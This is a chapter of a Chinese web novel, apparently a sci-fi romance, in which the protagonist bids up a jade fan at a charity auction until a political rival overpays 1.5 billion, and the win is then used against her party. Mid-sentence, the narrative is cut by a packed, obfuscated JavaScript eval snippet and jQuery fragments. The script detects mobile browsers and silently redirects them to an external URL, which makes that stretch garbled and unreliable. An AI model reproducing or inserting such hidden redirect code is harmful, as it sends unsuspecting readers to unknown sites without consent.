第17章


    方池许研究起了拍品单子，参与竞拍的物品一共有四十件。


    品质比外面展馆里的东西好太多了。


    从头看到尾，方池许只对倒数第二件拍品感兴趣。


    是一把雕花玉扇。


    远古地球时期，东亚地区的人喜欢各类玉器。


    星际时代，玉石不多，尽量都是取整，很少会用于雕刻，以免浪费了料子。


    这把玉扇从光泽和质地来看，都是不俗之物。


    梁晚森瞧着方池许喜欢，便记了下来。


    方池许往前翻了一下，他们来这一场拍卖，真到了后半场才举牌子，容易引起他人议论。


    但前面这个东西，他实在是没有喜欢的。


    与梁晚森说：“等会儿我就随便举牌子，买几样东西，不算白来这一趟。”


    梁晚森说：“你决定就好。”


    大家本身就是来做慈善的，都抱着差不多的心态，随便举举牌子，价格差不多就拿下了。


    方池许跟着举了不少次，也拿到了一些拍品，不算颗粒无收。


    终于到了倒数第二件拍品。


    起拍价三百万星币。


    方池许并没有第一时间举牌。


    梁晚森想举牌报价，被方池许拦下：“让他们先喊一喊。”


    喊到七百万的时候，方池许才举牌，悠然喊出：“八百万。”


    这场拍卖会采用的整十加码。


    吸引了场内众人的视线。


    从七百万到八百万，直接增加了一百万，表明了他想要的决心。


    一些人开始犹豫要不要跟下去。


    当台上竞拍员开始进入确认价格环节，“第一次报价八百万。”


    方池许的左前方，一名女子突然加价：“九百万。”


    右前方一名男子随之加价：“一千万。”


    其他人看加到了一千万，纷纷放弃，场上只剩下三个人。


    梁晚森是觉得这个玉扇最多就值六百万，他问方池许：“还值吗？”


    方池许：“我看上的东西，不惜一切代价，我都会拿下。”


    紧接着他举牌：“一千二百万。”


    女子跟着加价：“一千四百万。”


    男子也跟着加价：“一千五百万。”


    现场的人纷纷开始好奇，最终会打到多高。


    一千五百万还不如方池许开个直播品牌方砸钱砸得多。


    方池许继续加价：“一千八百万。”


    男子也跟着加价：“两千万。”


    女子想了想，加到了两千一百万。


    早已远超藏品的价值数倍，跟方池许竞拍的人也收获了关注。


    梁晚森立刻让助理去查，这两个人是谁。


    很快助理就给了他结果。


    男的叫瑞恩，是卡尔家族长子诺亚的秘书，方家没有成为联邦第一企业时，卡尔家族的商业帝国称霸联邦几百年不曾衰败。


    很明显瑞恩是受了卡尔家族的指示，冲方池许来的。


    女的则是左翼进步党领袖哈格斯的女儿哈维娜，最近刚刚加入进步党。


    五百年前，左翼各党派一直垄断军政，他们主张多劳多税，缩小社会贫富差距，导致各行各业发展停滞不前，整个社会人口在高速增长，生产资源却远远跟不上社会的发展，险些让社会彻底停摆。


    最近这五百年，都是由右翼统领军政，掌控经济，推崇多劳多得，社会各行各业蓬勃发展，让大家生活富足，如今的右翼更得民心。


    社会的贫富差距自然也变大了，各行各业疯狂内卷。


    以梁祈为首的利民党则属于右翼党中的左翼党，目前是右翼党的领袖党，深得民心。


    很明显哈维娜咬着方池许不放，并不是真的冲着方池许来的，而是冲着梁晚森和他背后所代表的政党。


    梁晚森将这一消息同步给了方池许。


    方池许便清楚，这一场争夺，已经不是拍品争夺了，而是新商与旧商，新政与旧政的争夺。


    他问梁晚森：“你是一定要争赢吗？”


    梁晚森的手搭在方池许的肩膀上，随意地靠在椅背里，贴着方池许的耳边说：“争是抬举他们了。”


    “我知道了。”


    紧接着方池许就举牌：“三千万。”


    就看对方跟不跟，跟方池许也不怕，他的预算没有上限。


    方池许往后靠了一些，直接靠在了梁晚森的怀里，用牌子挡住嘴在梁晚森的耳边小声说：“敢跟我就遛着他们好好玩。”


    梁晚森轻笑：“随意。”


    他更在乎的是此刻方池许的主动靠近，靠在了他的怀里。


    方池许身上淡淡的香味，让梁晚森无心去管别的。


    哈维娜回头看了一眼靠在一起的两个人，毫不犹豫地举牌：“三千五百万。”


    瑞恩背后的卡尔家族曾经制霸星际商业多年，他们的财力即便不如方家，跟方池许在这里竞争一个拍品的资格还是有的。


    瑞恩接着举牌：“四千万。”


    方池许毫不犹豫地跟牌：“五千万。”


    瑞恩回头，方池许朝他笑了笑，势在必得。


    方池许凑近了梁晚森问：“你更想看他们两个谁吃瘪？”


    梁晚森认真考虑了一下，跟方池许说：“哈维娜。”


    政商之间不存在斗争，商不敌政是亘古不变的。


    哈维娜代表的政权和梁晚森代表的政权是对立的，政权之争向来是你死我活。


    如果能够借此机会给左翼党一耳光也是好的。


    方池许心下了然。


    梁晚森问：“你这是要帮我？”


    方池许：“亦是帮我自己。”


    已经捆在一起了，梁晚森得胜，方池许自然能获利。


    哈维娜果断跟进：“五千五百万。”


    瑞恩没有立刻跟进，而是在最后几秒时才加码：“六千五百万。”


    方池许等他说完直接加码：“八千万。”


    一个起拍价三百万的东西，被他们层层加码到了八千万，现场的人都觉得过于疯狂了。


    闪光灯对准了三方。


    方池许看起来游刃有余，而哈维娜和瑞恩都有点坐不住了。


    当拍卖员开始定价的时候，哈维娜再次跟进：“九千万。”


    瑞恩再度沉默。


    所有人都以为他不会再加了，他又举起了牌子：“一个亿。”


    这点钱对方池许来说就是洒洒水。


    他有些挑衅似地看向哈维娜。


    哈维娜则是看向了方池许身边的梁晚森。


    她的目标从来就不是方池许。


    梁晚森脸上带着淡淡的笑意，与哈维娜对视。


    哈维娜再度举牌：“一亿两千万。”


    方池许跟上：“一亿五千万。”


    焦点再次来到瑞恩身上。


    瑞恩和老板一直保持沟通。


    接着他举牌：“一亿六千万。”


    梁晚森和方池许说：“这个价不值得，别跟了。”


    方池许直接举牌：“一亿八千万。”他跟梁晚森说：“我自有打算。”


    哈维娜一咬牙，继续跟：“两个亿。”


    方池许基本可以确定，只要他喊价，哈维娜和卡尔家族那边一定会跟，那不如就喊个大的，如果他们不跟了，自己就能得到拍品，况且也是做慈善，平日里他往慈善基金会捐的钱是这里的几百倍了，这点钱本来就不算什么。


    喊完他们接着跟，那就不能怪自己没给他们留退路了。


    “三亿。”方池许果断开口。


    其他人已经屏住呼吸了，三亿，可真敢喊啊。


    现场的沉默就算是一根针掉在地上都能听得见。


    大家都以为方池许应该是一锤定音了，哈维娜又跟了。


    “三点五亿。”


    压力再次给到瑞恩。


    到了这一步，已经不是普通的竞争了，万一喊了没人跟价，就直接砸在手里。


    但要是退了，肯定是要把脸面丢尽了。


    毕竟这一场竞争明天早上肯定是要上头版头条的。


    这要是输了，可是要贻笑大方的。


    方池许悠然看戏。


    跟与不跟，横竖今天沦为笑柄的人不会是他。


    梁晚森的视线在方池许身上根本挪不开。


    方池许比梁晚森想象的更有魄力，也更稳重。


    他能看得出来，方池许在给对方挖坑。


    瑞恩举牌：“四亿。”


    方池许：“五亿。”


    压力又到了哈维娜身上，现在的哈维娜是骑虎难下。


    不跟今天她绝对会沦为笑柄，明天的舆论还不知道会如何发酵。


    跟吧她又觉得不值，像个神经病一样，一个三百万的东西喊出五个亿。


    两难之中，主持人的催促声来了。


    哈维娜举牌：“五亿五。”


    方池许举牌：“八亿。”


    他看向瑞恩，是否还会继续跟。


    瑞恩脸上的表情已经快绷不住了。


    心中指不定在骂什么。


    跟老板沟通之后，他再度举牌：“九亿。”


    方池许不等哈维娜举牌，就直接喊出了十亿。


    哈维娜一副吃了死苍蝇的表情，难受极了。


    瑞恩那头的表情也没有好多少。


    喊到了十亿，瑞恩开始有些害怕砸在手里。


    哈维娜同样害怕，因为这个代价实在是太大了。


    方池许一副势在必得的样子，静待拍卖员宣布他获得拍品。


    哈维娜再度举牌：“十亿五千万。”


    方池许知道，她快承受不住了。


    他看向瑞恩，意思是你的老板还跟吗？


    瑞恩的额头开始渗出汗水。


    方池许依旧悠闲。


    在哈维娜以为自己要胜出时，方池许再度举牌：“十一亿。”


    哈维娜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696324|173222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：“……”


    此刻她的眼神想杀人。


    其他人只是看热闹。


    瑞恩已经快撑不住了，不断在心里怒骂方池许。


    方池许摇晃着手里的竞价牌。


    哈维娜一气之下，举牌喊出：“十五亿。”


    方池许一笑，随即放下了竞价牌。


    瑞恩也跟着松了一口气。


    只要不是输在方池许的身上，他们的面子就保住了。


    方池许扭头看向梁晚森，朝他得意地挑了挑眉。


    梁晚森唇角上扬，十分高兴。


    哈维娜看到方池许不再跟进，她却并没有多开心。


    三百万的东西，被她花了十五个亿才得以拿下。


    一时争强好胜赢了，接下来要面临的是什么，谁都不知道。


    拍卖员走完流程。


    方池许起身带头鼓掌：“恭喜这位女士，以十五亿的价格拍得心仪的藏品。”


    现场的人都知道，方池许是故意的，可他们谁敢说什么呢。


    阎王打架，小鬼遭殃。


    梁晚森的老师基里尔和她的女儿卡加在这一场拍卖会里，对方池许也有了新的认知。


    这不是一个没什么脑子的富二代，相反十分聪明，能洞察人心，掌控人性。


    梁晚森跟着鼓掌，带动了全场鼓掌。


    最后一件拍品反而竞争不怎么激烈，大家都怕方池许再杀出来抢夺，等会把他们架在火上烤。


    拍卖会结束，哈维娜的表情都没恢复过来。


    媒体记者一拥而上，询问她拍下拍品的感受。


    基里尔和卡加朝方池许梁晚森走过来。


    基里尔夸赞方池许：“好手段，好魄力。”


    方池许笑了笑，看向卡加：“这个活动定下的善款金额算是超额完成了吧。”


    卡加点了点头：“这还得多谢方先生。”


    方池许：“一切都是为了慈善。”


    不少人凑过来打算和方池许梁晚森攀谈。


    基里尔朝两人发出邀请：“晚上可否一起吃晚饭？”


    梁晚森看向方池许。


    方池许心情很好，便和梁晚森说：“你决定吧。”


    梁晚森和老师很久没见了，好不容易有机会，不想放弃，便同意了。


    哈维娜那边的采访结束后，记者朝着方池许和梁晚森而来。


    梁晚森不打算接受采访，想带着方池许先走一步，奈何记者把他们围堵得无处可去，只能接受采访。


    记者询问方池许：“请问您是故意抬价的吗？”


    方池许否认：“当然不是故意的，我是真的很喜欢那把玉扇，不过那位小姐不惜追价也要得到，想来是十分喜欢，我只好忍痛割爱了。”


    方池许一脸没得到心仪宝贝的惋惜，看着丝毫没有作假。


    另一名记者问：“两位一同出现在这里，是在交往吗？”


    方池许看向梁晚森。


    梁晚森说：“这是我们的私事，希望能够给我们一些空间。”


    方池许也说：“希望能够给我们一点空间。”


    记者问梁晚森：“您当初求娶方先生的原因是什么？可以展开说说吗？”


    梁晚森笑着说：“他太优秀了，我怕有人捷足先登，只好先下手为强。”


    梁晚森跟记者们说：“拍卖会几个小时，我们也都饿了，该去吃饭了，有什么问题下次再问，好吗？”


    他都这么说了，记者也不好再拦路。


    方池许和梁晚森得以顺利离开。


    梁晚森和基里尔约好了餐厅，他带着方池许过去。


    几人坐在包间里。


    基里尔跟梁晚森说：“你要尽快安排好，利用这件事做一下文章。”


    梁晚森说：“已经安排好了。”


    方池许有些疑惑。


    梁晚森解释：“哈维娜以十五亿的价格拿下玉扇，对你来说，是让她吃瘪，给了她一点教训。对我们来说就完全不同了，左翼推崇缩小贫富差距，宣传党内公正廉明，抨击我们贪污腐败，领袖的女儿出手就是十五亿，这就说明他们党内也不像他们说的那样清廉。”


    方池许也想到了这一点，只不过他和哈维娜没有仇怨，倒不至于落井下石。


    梁晚森落井下石十分合理，毕竟是党派之争，你死我活，此消彼长，抓到把柄自然要咬着不放，今日留手，明日或许就会被对方抓住别的把柄按死。


    梁晚森真心感谢方池许：“她能有这么大的把柄落在我的手里，多亏了你。”


    方池许也不邀功：“瞎猫碰上死耗子。”


    “不骄不躁不贪功，品行贵重。”基里尔很喜欢方池许，和梁晚森说：“你小子算是找到宝了，一定要好好对待人家。”


    梁晚森握住方池许的手和老师说：“您放心，我一定牢牢地抓住他，不会让他溜走的。”


    方池许：“……”大可不必。


    面上他还是保持笑容，配合梁晚森表演。